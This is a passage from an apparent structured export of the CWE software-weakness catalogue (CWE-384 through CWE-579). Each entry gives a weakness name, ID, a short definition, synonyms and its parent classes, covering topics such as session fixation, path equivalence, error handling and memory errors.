definition: Thread management in a Web application is forbidden in some circumstances and is always highly error prone.
subclass of: CWE-695

Session Fixation
type: Class
cwe-id: CWE-384
definition: Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
subclass of: CWE-610

Covert Timing Channel
type: Class
cwe-id: CWE-385
definition: Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.
subclass of: Covert Channel

Symbolic Name not Mapping to Correct Object
type: Class
cwe-id: CWE-386
definition: A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.
subclass of: CWE-706

Path Traversal: 'C:dirname'
type: Class
cwe-id: CWE-39
definition: The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file.
subclass of: CWE-36

Detection of Error Condition Without Action
type: Class
cwe-id: CWE-390
definition: The product detects a specific error, but takes no actions to handle the error.
subclass of: CWE-755

Unchecked Error Condition
type: Class
cwe-id: CWE-391
definition: [PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
subclass of: CWE-754

Missing Report of Error Condition
type: Class
cwe-id: CWE-392
definition: The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.
subclass of: CWE-684
subclass of: CWE-703
subclass of: CWE-755

Return of Wrong Status Code
type: Class
cwe-id: CWE-393
definition: A function or operation returns an incorrect return value or status code that does not indicate the true result of execution, causing the product to modify its behavior based on the incorrect result.
subclass of: CWE-684
subclass of: CWE-703

Unexpected Status Code or Return Value
type: Class
cwe-id: CWE-394
definition: The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
subclass of: CWE-754

Use of NullPointerException Catch to Detect NULL Pointer Dereference
type: Class
cwe-id: CWE-395
definition: Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.
subclass of: CWE-705
subclass of: CWE-755

Declaration of Catch for Generic Exception
type: Class
cwe-id: CWE-396
definition: Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
subclass of: CWE-221
subclass of: CWE-705
subclass of: CWE-755

Declaration of Throws for Generic Exception
type: Class
cwe-id: CWE-397
definition: The product throws or raises an overly broad exceptions that can hide important details and produce inappropriate responses to certain conditions.
subclass of: CWE-221
subclass of: CWE-703
subclass of: CWE-705

Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
type: Class
cwe-id: CWE-40
definition: The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file.
subclass of: CWE-36

Missing Release of Memory after Effective Lifetime
type: Class
cwe-id: CWE-401
definition: The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
synonym: Memory Leak
subclass of: CWE-772

Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
type: Class
cwe-id: CWE-403
definition: A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.
synonym: File descriptor leak
subclass of: Transmission of Private Resources into a New Sphere ('Resource Leak')

Insufficient Control of Network Message Volume (Network Amplification)
type: Class
cwe-id: CWE-406
definition: The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.
subclass of: CWE-405

Incorrect Behavior Order: Early Amplification
type: Class
cwe-id: CWE-408
definition: The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.
subclass of: CWE-405
subclass of: CWE-696

Improper Handling of Highly Compressed Data (Data Amplification)
type: Class
cwe-id: CWE-409
definition: The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
subclass of: CWE-405

Insufficient Resource Pool
type: Class
cwe-id: CWE-410
definition: The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.
subclass of: CWE-664

Unrestricted Externally Accessible Lock
type: Class
cwe-id: CWE-412
definition: The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.
subclass of: CWE-667

Missing Lock Check
type: Class
cwe-id: CWE-414
definition: A product does not check to see if a lock is present before performing sensitive operations on a resource.
subclass of: CWE-667

Double Free
type: Class
type: NamedIndividual
cwe-id: CWE-415
definition: The product calls free() twice on the same memory address.
synonym: Double-free
weakness-of: MemoryFreeFunction
subclass of: Restriction
  on property: weakness-of
  some values from: MemoryFreeFunction
subclass of: Multiple Releases of Same Resource or Handle
subclass of: CWE-666
subclass of: Expired Pointer Dereference

Use After Free
type: Class
cwe-id: CWE-416
definition: The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
synonym: Dangling pointer
synonym: UAF
synonym: Use-After-Free
subclass of: Expired Pointer Dereference

Unprotected Primary Channel
type: Class
cwe-id: CWE-419
definition: The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.
subclass of: CWE-923

Race Condition During Access to Alternate Channel
type: Class
cwe-id: CWE-421
definition: The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.
subclass of: CWE-362
subclass of: CWE-420

Unprotected Windows Messaging Channel ('Shatter')
type: Class
cwe-id: CWE-422
definition: The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.
subclass of: Trust of System Event Data
subclass of: CWE-420

Direct Request ('Forced Browsing')
type: Class
cwe-id: CWE-425
definition: The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.
synonym: forced browsing
subclass of: Authentication Bypass Using an Alternate Path or Channel
subclass of: Improper Protection of Alternate Path
subclass of: CWE-862

Untrusted Search Path
type: Class
cwe-id: CWE-426
definition: The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.
synonym: Untrusted Path
subclass of: CWE-642
subclass of: External Influence of Sphere Definition

Uncontrolled Search Path Element
type: Class
cwe-id: CWE-427
definition: The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.
synonym: Binary planting
synonym: DLL preloading
synonym: Dependency confusion
synonym: Insecure library loading
subclass of: CWE-668

Unquoted Search Path or Element
type: Class
cwe-id: CWE-428
definition: The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.
subclass of: CWE-668

Path Equivalence: 'filename....' (Multiple Trailing Dot)
type: Class
cwe-id: CWE-43
definition: The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Multiple Trailing Special Elements
subclass of: Path Equivalence: 'filename.' (Trailing Dot)

Deployment of Wrong Handler
type: Class
cwe-id: CWE-430
definition: The wrong "handler" is assigned to process an object.
subclass of: CWE-691

Missing Handler
type: Class
cwe-id: CWE-431
definition: A handler is not available or implemented.
subclass of: CWE-691

Dangerous Signal Handler not Disabled During Sensitive Operations
type: Class
cwe-id: CWE-432
definition: The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.
subclass of: CWE-364

Unparsed Raw Web Content Delivery
type: Class
cwe-id: CWE-433
definition: The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.
subclass of: Storage of File with Sensitive Data Under Web Root

Unrestricted Upload of File with Dangerous Type
type: Class
type: NamedIndividual
cwe-id: CWE-434
definition: The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
synonym: Unrestricted File Upload
weakness-of: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: UserInputFunction
subclass of: CWE-669

Incomplete Model of Endpoint Features
type: Class
cwe-id: CWE-437
definition: A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.
subclass of: CWE-436

Behavioral Change in New Version or Environment
type: Class
cwe-id: CWE-439
definition: A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.
synonym: Functional change
subclass of: CWE-435

Expected Behavior Violation
type: Class
cwe-id: CWE-440
definition: A feature, API, or function does not perform according to its specification.
subclass of: CWE-684

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
type: Class
cwe-id: CWE-444
definition: The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
synonym: HTTP Request Smuggling
synonym: HTTP Response Smuggling
synonym: HTTP Smuggling
subclass of: CWE-436

Unimplemented or Unsupported Feature in UI
type: Class
cwe-id: CWE-447
definition: A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.
subclass of: CWE-446
subclass of: Lack of Administrator Control over Security

Obsolete Feature in UI
type: Class
cwe-id: CWE-448
definition: A UI function is obsolete and the product does not warn the user.
subclass of: CWE-446

The UI Performs the Wrong Action
type: Class
cwe-id: CWE-449
definition: The UI performs the wrong action with respect to the user's request.
subclass of: CWE-446

Path Equivalence: 'file...name' (Multiple Internal Dot)
type: Class
cwe-id: CWE-45
definition: The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Multiple Internal Special Elements
subclass of: Path Equivalence: 'file.name' (Internal Dot)

Multiple Interpretations of UI Input
type: Class
cwe-id: CWE-450
definition: The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.
subclass of: Insufficient UI Warning of Dangerous Operations

Insecure Default Variable Initialization
type: Class
cwe-id: CWE-453
definition: The product, by default, initializes an internal variable with an insecure or less secure value than is possible.
subclass of: Initialization of a Resource with an Insecure Default

External Initialization of Trusted Variables or Data Stores
type: Class
cwe-id: CWE-454
definition: The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.
subclass of: CWE-1419
subclass of: CWE-665

Non-exit on Failed Initialization
type: Class
cwe-id: CWE-455
definition: The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator.
subclass of: Not Failing Securely ('Failing Open')
subclass of: CWE-665
subclass of: CWE-705

Missing Initialization of a Variable
type: Class
cwe-id: CWE-456
definition: The product does not initialize critical variables, which causes the execution environment to use unexpected values.
subclass of: Missing Initialization of Resource

Use of Uninitialized Variable
type: Class
cwe-id: CWE-457
definition: The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
subclass of: Use of Uninitialized Resource

Path Equivalence: 'filename ' (Trailing Space)
type: Class
cwe-id: CWE-46
definition: The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-162
subclass of: CWE-41

Improper Cleanup on Thrown Exception
type: Class
cwe-id: CWE-460
definition: The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.
subclass of: CWE-459
subclass of: CWE-755

Duplicate Key in Associative List (Alist)
type: Class
cwe-id: CWE-462
definition: Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.
subclass of: Use of Multiple Resources with Duplicate Identifier

Deletion of Data Structure Sentinel
type: Class
cwe-id: CWE-463
definition: The accidental deletion of a data-structure sentinel can cause serious programming logic problems.
subclass of: CWE-707

Addition of Data Structure Sentinel
type: Class
cwe-id: CWE-464
definition: The accidental addition of a data-structure sentinel can cause serious programming logic problems.
subclass of: CWE-138

Return of Pointer Value Outside of Expected Range
type: Class
cwe-id: CWE-466
definition: A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.
subclass of: CWE-119

Use of sizeof() on a Pointer Type
type: Class
cwe-id: CWE-467
definition: The code calls sizeof() on a pointer type, which can be an incorrect calculation if the programmer intended to determine the size of the data that is being pointed to.
subclass of: Incorrect Calculation of Buffer Size

Incorrect Pointer Scaling
type: Class
cwe-id: CWE-468
definition: In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.
subclass of: CWE-682

Use of Pointer Subtraction to Determine Size
type: Class
cwe-id: CWE-469
definition: The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.
subclass of: CWE-682

Path Equivalence: ' filename' (Leading Space)
type: Class
cwe-id: CWE-47
definition: The product accepts path input in the form of leading space (' filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-41

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
type: Class
cwe-id: CWE-470
definition: The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
synonym: Reflection Injection
subclass of: CWE-610
subclass of: CWE-913

External Control of Assumed-Immutable Web Parameter
type: Class
cwe-id: CWE-472
definition: The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.
synonym: Assumed-Immutable Parameter Tampering
subclass of: CWE-471
subclass of: CWE-642

PHP External Variable Modification
type: Class
cwe-id: CWE-473
definition: A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.
subclass of: CWE-471

Undefined Behavior for Input to API
type: Class
cwe-id: CWE-475
definition: The behavior of this function is undefined unless its control parameter is set to a specific value.
subclass of: CWE-573

Use of Obsolete Function
type: Class
cwe-id: CWE-477
definition: The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
subclass of: CWE-710

Missing Default Case in Multiple Condition Expression
type: Class
cwe-id: CWE-478
definition: The code does not have a default case in an expression with multiple conditions, such as a switch statement.
subclass of: CWE-1023

Signal Handler Use of a Non-reentrant Function
type: Class
cwe-id: CWE-479
definition: The product defines a signal handler that calls a non-reentrant function.
subclass of: Use of a Non-reentrant Function in a Concurrent Context
subclass of: Signal Handler with Functionality that is not Asynchronous-Safe

Path Equivalence: 'file name' (Internal Whitespace)
type: Class
cwe-id: CWE-48
definition: The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-41

Assigning instead of Comparing
type: Class
cwe-id: CWE-481
definition: The code uses an operator for assignment when the intention was to perform a comparison.
subclass of: CWE-480

Comparing instead of Assigning
type: Class
cwe-id: CWE-482
definition: The code uses an operator for comparison when the intention was to perform an assignment.
subclass of: CWE-480

Incorrect Block Delimitation
type: Class
cwe-id: CWE-483
definition: The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.
subclass of: CWE-670

Omitted Break Statement in Switch
type: Class
cwe-id: CWE-484
definition: The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
subclass of: CWE-670
subclass of: CWE-710

Comparison of Classes by Name
type: Class
cwe-id: CWE-486
definition: The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.
subclass of: Comparison Using Wrong Factors

Reliance on Package-level Scope
type: Class
cwe-id: CWE-487
definition: Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.
subclass of: CWE-664

Exposure of Data Element to Wrong Session
type: Class
cwe-id: CWE-488
definition: The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.
subclass of: CWE-668

Path Equivalence: 'filename/' (Trailing Slash)
type: Class
cwe-id: CWE-49
definition: The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-162
subclass of: CWE-41

Public cloneable() Method Without Final ('Object Hijack')
type: Class
cwe-id: CWE-491
definition: A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.
subclass of: CWE-668

Use of Inner Class Containing Sensitive Data
type: Class
cwe-id: CWE-492
definition: Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.
subclass of: CWE-668

Download of Code Without Integrity Check
type: Class
cwe-id: CWE-494
definition: The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
subclass of: CWE-345
subclass of: CWE-669

Private Data Structure Returned From A Public Method
type: Class
cwe-id: CWE-495
definition: The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.
subclass of: CWE-664

Public Data Assigned to Private Array-Typed Field
type: Class
cwe-id: CWE-496
definition: Assigning public data to a private array is equivalent to giving public access to the array.
subclass of: CWE-664

Cloneable Class Containing Sensitive Information
type: Class
cwe-id: CWE-498
definition: The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.
subclass of: CWE-668

Serializable Class Containing Sensitive Data
type: Class
cwe-id: CWE-499
definition: The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.
subclass of: CWE-668

J2EE Misconfiguration: Data Transmission Without Encryption
type: Class
cwe-id: CWE-5
definition: Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.
subclass of: CWE-319

Path Equivalence: '//multiple/leading/slash'
type: Class
cwe-id: CWE-50
definition: The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Multiple Leading Special Elements
subclass of: CWE-41

Public Static Field Not Marked Final
type: Class
cwe-id: CWE-500
definition: An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.
subclass of: Critical Public Variable Without Final Modifier

Trust Boundary Violation
type: Class
cwe-id: CWE-501
definition: The product mixes trusted and untrusted data in the same data structure or structured message.
subclass of: CWE-664

Deserialization of Untrusted Data
type: Class
type: NamedIndividual
cwe-id: CWE-502
definition: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
may-be-weakness-of: UserInputFunction
synonym: Marshaling, Unmarshaling
synonym: PHP Object Injection
synonym: Pickling, Unpickling
weakness-of: Deserialization Function
subclass of: Restriction
  on property: may-be-weakness-of
  some values from: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: Deserialization Function
subclass of: CWE-913

Non-Replicating Malicious Code
type: Class
cwe-id: CWE-508
definition: Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.
subclass of: Trojan Horse

Replicating Malicious Code (Virus or Worm)
type: Class
cwe-id: CWE-509
definition: Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.
subclass of: Trojan Horse

Path Equivalence: '/multiple//internal/slash'
type: Class
cwe-id: CWE-51
definition: The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-41

Trapdoor
type: Class
cwe-id: CWE-510
definition: A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.
subclass of: CWE-506

Logic/Time Bomb
type: Class
cwe-id: CWE-511
definition: The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.
subclass of: CWE-506

Spyware
type: Class
cwe-id: CWE-512
definition: The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.
subclass of: CWE-506

Covert Storage Channel
type: Class
cwe-id: CWE-515
definition: A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.
subclass of: Covert Channel

Path Equivalence: '/multiple/trailing/slash//'
type: Class
cwe-id: CWE-52
definition: The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Multiple Trailing Special Elements
subclass of: CWE-41

.NET Misconfiguration: Use of Impersonation
type: Class
cwe-id: CWE-520
definition: Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.
subclass of: CWE-266

Unprotected Transport of Credentials
type: Class
cwe-id: CWE-523
definition: Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.
subclass of: CWE-522

Use of Web Browser Cache Containing Sensitive Information
type: Class
cwe-id: CWE-525
definition: The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.
subclass of: Use of Cache Containing Sensitive Information

Cleartext Storage of Sensitive Information in an Environment Variable
type: Class
cwe-id: CWE-526
definition: The product uses an environment variable to store unencrypted sensitive information.
subclass of: CWE-312

Exposure of Version-Control Repository to an Unauthorized Control Sphere
type: Class
cwe-id: CWE-527
definition: The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.
subclass of: CWE-552

Exposure of Core Dump File to an Unauthorized Control Sphere
type: Class
cwe-id: CWE-528
definition: The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.
subclass of: CWE-552

Exposure of Access Control List Files to an Unauthorized Control Sphere
type: Class
cwe-id: CWE-529
definition: The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.
subclass of: CWE-552

Path Equivalence: '\multiple\\internal\backslash'
type: Class
cwe-id: CWE-53
definition: The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Multiple Internal Special Elements
subclass of: CWE-41

Exposure of Backup File to an Unauthorized Control Sphere
type: Class
cwe-id: CWE-530
definition: A backup file is stored in a directory or archive that is made accessible to unauthorized actors.
subclass of: CWE-552

Inclusion of Sensitive Information in Test Code
type: Class
cwe-id: CWE-531
definition: Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.
subclass of: CWE-540

Insertion of Sensitive Information into Log File
type: Class
cwe-id: CWE-532
definition: The product writes sensitive information to a log file.
subclass of: CWE-538

Exposure of Information Through Shell Error Message
type: Class
cwe-id: CWE-535
definition: A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.
subclass of: CWE-211

Servlet Runtime Error Message Containing Sensitive Information
type: Class
cwe-id: CWE-536
definition: A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.
subclass of: CWE-211

Java Runtime Error Message Containing Sensitive Information
type: Class
cwe-id: CWE-537
definition: In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.
subclass of: CWE-211

Use of Persistent Cookies Containing Sensitive Information
type: Class
cwe-id: CWE-539
definition: The web application uses persistent cookies, but the cookies contain sensitive information.
subclass of: CWE-552

Path Equivalence: 'filedir\' (Trailing Backslash)
type: Class
cwe-id: CWE-54
definition: The product accepts path input in the form of trailing backslash ('filedir\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-162
subclass of: CWE-41

Inclusion of Sensitive Information in an Include File
type: Class
cwe-id: CWE-541
definition: If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.
subclass of: CWE-540

Use of Singleton Pattern Without Synchronization in a Multithreaded Context
type: Class
cwe-id: CWE-543
definition: The product uses the singleton pattern when creating a resource within a multithreaded environment.
subclass of: CWE-820

Missing Standardized Error Handling Mechanism
type: Class
cwe-id: CWE-544
definition: The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.
subclass of: CWE-755

Suspicious Comment
type: Class
cwe-id: CWE-546
definition: The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.
subclass of: CWE-1078

Use of Hard-coded, Security-relevant Constants
type: Class
cwe-id: CWE-547
definition: The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.
subclass of: CWE-1078

Exposure of Information Through Directory Listing
type: Class
cwe-id: CWE-548
definition: The product inappropriately exposes a directory listing with an index of all the resources located inside of the directory.
subclass of: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Missing Password Field Masking
type: Class
cwe-id: CWE-549
definition: The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.
subclass of: CWE-522

Path Equivalence: '/./' (Single Dot Directory)
type: Class
cwe-id: CWE-55
definition: The product accepts path input in the form of single dot directory exploit ('/./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-41

Server-generated Error Message Containing Sensitive Information
type: Class
cwe-id: CWE-550
definition: Certain conditions, such as network failure, will cause a server error message to be displayed.
subclass of: CWE-209

Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
type: Class
cwe-id: CWE-551
definition: If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.
subclass of: CWE-696
subclass of: CWE-863

Command Shell in Externally Accessible Directory
type: Class
cwe-id: CWE-553
definition: A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.
subclass of: CWE-552

ASP.NET Misconfiguration: Not Using Input Validation Framework
type: Class
cwe-id: CWE-554
definition: The ASP.NET application does not use an input validation framework.
subclass of: CWE-1173

J2EE Misconfiguration: Plaintext Password in Configuration File
type: Class
cwe-id: CWE-555
definition: The J2EE application stores a plaintext password in a configuration file.
subclass of: CWE-260

ASP.NET Misconfiguration: Use of Identity Impersonation
type: Class
cwe-id: CWE-556
definition: Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.
subclass of: CWE-266

Use of getlogin() in Multithreaded Application
type: Class
cwe-id: CWE-558
definition: The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.
subclass of: Use of a Non-reentrant Function in a Concurrent Context

Path Equivalence: 'filedir*' (Wildcard)
type: Class
cwe-id: CWE-56
definition: The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Wildcards or Matching Symbols
subclass of: CWE-41

Use of umask() with chmod-style Argument
type: Class
cwe-id: CWE-560
definition: The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().
subclass of: Function Call With Incorrectly Specified Argument Value

Dead Code
type: Class
cwe-id: CWE-561
definition: The product contains dead code, which can never be executed.
subclass of: CWE-1164

Return of Stack Variable Address
type: Class
cwe-id: CWE-562
definition: A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
subclass of: CWE-758

Assignment to Variable without Use
type: Class
cwe-id: CWE-563
definition: The variable's value is assigned but never used, making it a dead store.
synonym: Unused Variable
subclass of: CWE-1164

SQL Injection: Hibernate
type: Class
cwe-id: CWE-564
definition: Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
subclass of: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Authorization Bypass Through User-Controlled SQL Primary Key
type: Class
cwe-id: CWE-566
definition: The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.
subclass of: Authorization Bypass Through User-Controlled Key

Unsynchronized Access to Shared Data in a Multithreaded Context
type: Class
cwe-id: CWE-567
definition: The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
subclass of: CWE-820

finalize() Method Without super.finalize()
type: Class
cwe-id: CWE-568
definition: The product contains a finalize() method that does not call super.finalize().
subclass of: CWE-459
subclass of: CWE-573

Path Equivalence: 'fakedir/../realdir/filename'
type: Class
cwe-id: CWE-57
definition: The product contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.
subclass of: CWE-41

Expression is Always False
type: Class
cwe-id: CWE-570
definition: The product contains an expression that will always evaluate to false.
subclass of: CWE-710

Expression is Always True
type: Class
cwe-id: CWE-571
definition: The product contains an expression that will always evaluate to true.
subclass of: CWE-710

Call to Thread run() instead of start()
type: Class
cwe-id: CWE-572
definition: The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.
subclass of: CWE-821

EJB Bad Practices: Use of Synchronization Primitives
type: Class
cwe-id: CWE-574
definition: The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.
subclass of: CWE-695
subclass of: CWE-821

EJB Bad Practices: Use of AWT Swing
type: Class
cwe-id: CWE-575
definition: The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.
subclass of: CWE-695

EJB Bad Practices: Use of Java I/O
type: Class
cwe-id: CWE-576
definition: The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.
subclass of: CWE-695

EJB Bad Practices: Use of Sockets
type: Class
cwe-id: CWE-577
definition: The product violates the Enterprise JavaBeans (EJB) specification by using sockets.
subclass of: CWE-573

EJB Bad Practices: Use of Class Loader
type: Class
cwe-id: CWE-578
definition: The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.
subclass of: CWE-573

J2EE Bad Practices: Non-serializable Object Stored in Session
type: Class
cwe-id: CWE-579
definition: The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.
subclass of: CWE-573

